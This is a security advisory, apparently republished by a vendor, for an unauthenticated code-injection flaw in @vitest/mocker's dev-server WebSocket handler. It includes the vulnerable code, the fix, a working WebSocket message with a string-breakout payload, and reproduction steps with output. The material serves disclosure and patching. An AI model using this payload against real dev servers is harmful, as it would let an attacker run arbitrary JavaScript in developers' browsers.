
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: >= 2.1.0-beta.7, < 4.1.12
Patched in 4.1.12
Vulnerable: >= 5.0.0-beta.1, < 5.0.3
Patched in 5.0.3
Details
@vitest/mocker's interceptorPlugin accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's url into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.
Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (8ff9b9a9efca7c6cfd5243569440de8d7a33aec4, PR #10972) hardened only the redirect branch and left the manual branch reaching the unescaped generator.
Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. createManualModuleSource now serializes the module URL and the export names with JSON.stringify, so a registered mock cannot change the generated code.
Projects that call mockerPlugin() or interceptorPlugin() directly need @vitest/mocker 4.1.12 or 5.0.3.
packages/mocker/src/utils.ts:6-9 builds module source by string interpolation:
export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"__vitest_mocker__"'): string {
const source = `
const __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}");
`
moduleUrl lands inside a double-quoted JavaScript string with no escaping or validation.
packages/mocker/src/node/interceptorPlugin.ts:66-93 feeds it straight from the socket:
configureServer(server) {
if (options.registerWebSocketEvents === false) { return }
server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => {
if (event.type === 'manual') {
const module = ManualMockedModule.fromJSON(event, async () => {
const keys = await getFactoryExports(event.url)
return Object.fromEntries(keys.map(key => [key, null]))
})
registry.add(module) // no validation of `id` or `url`
}
else {
if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ }
event.id chooses which module is hijacked; event.url is what gets interpolated. The load hook (interceptorPlugin.ts:30-44) then returns createManualModuleSource(mock.url, exports, accessor) for that id.
With url = 'x"); globalThis.ARES_INJECTED = 1; void("' a request for /src/app.js is answered with valid, executable JavaScript:
const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");
getFactoryExports (interceptorPlugin.ts:103-117) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into __factoryModule__["X"], export { __0 as "X" } and resolvedModule["X"], and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; url is the exploited one.
Who can reach the socket. Vite 8 answers HTTP 400 to any HMR upgrade carrying an Origin header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for https://evil.example and http://localhost:3000. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.
poc/mocker-manual-mock-injection/ — repro.sh (exit 0 = vulnerable), poc.mjs, expected.txt, env.txt. Everything lives under a fresh mktemp directory deleted on exit, the dev server binds to 127.0.0.1 on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.
Environment: commit 9e1166959e14bd32298d8a0e85352431c769ec7a, @vitest/mocker 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64.
git clone https://github.com/vitest-dev/vitest && cd vitest
git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a
pnpm install && pnpm build
REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh
Required configuration — the public setup documented in packages/mocker/EXPORTS.md, which the harness reproduces (mockerPlugin() wires interceptorPlugin the same way):
import { interceptorPlugin } from '@vitest/mocker/node'
export default defineConfig({ plugins: [interceptorPlugin()] }) // or mockerPlugin()
The attack is one WebSocket message to ws://<host>:<port>/ with subprotocol vite-hmr:
{ "type": "custom", "event": "vitest:interceptor:register",
"data": { "type": "manual", "raw": "", "id": "<abs path of a served module>",
"url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } }
then answering the server's vitest:interceptor:resolve with {"type":"custom","event":"vitest:interceptor:resolved","data":{"url":"<same url>","keys":["a"]}}. The module id can be obtained from the same socket via vitest:mocks:resolveId when mockerPlugin() is used.
Observed output:
PASS precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example result=400
PASS precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000 result=400
PASS negative control: with no mock registered the real module is served
PASS negative control: a mock with a harmless url replaces the module but injects nothing
--- module served for /src/app.js ---
const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void("");
let __0 = __factoryModule__["a"]
export { __0 as "a" }
if (__factoryModule__.__factoryPromise != null) {
__factoryModule__.__factoryPromise.then((resolvedModule) => {
__0 = resolvedModule["a"];
})
}
PASS attacker statement is present in the module the dev server serves
PASS the real module body was replaced
PASS the injected module parses as JavaScript (Vite import analysis accepted it)
RESULT: VULNERABLE
/src/app.js is served with its real body, so the harness demonstrably works.url replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration.Origin probes record the boundary honestly.Reproduced three times from a clean mktemp fixture, exit 0 each time.
Code injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public mockerPlugin()/interceptorPlugin() API documented in packages/mocker/EXPORTS.md. Node runs do not register these handlers. Development-only — configureServer does not run for vite build or vite preview.
Disclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.
EPSS, exploit probability
Low0.24%
estimated chance of real-world exploitation in the next 30 days, higher than 14.4% of every CVE FIRST.org scores
Refreshed 10/21/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.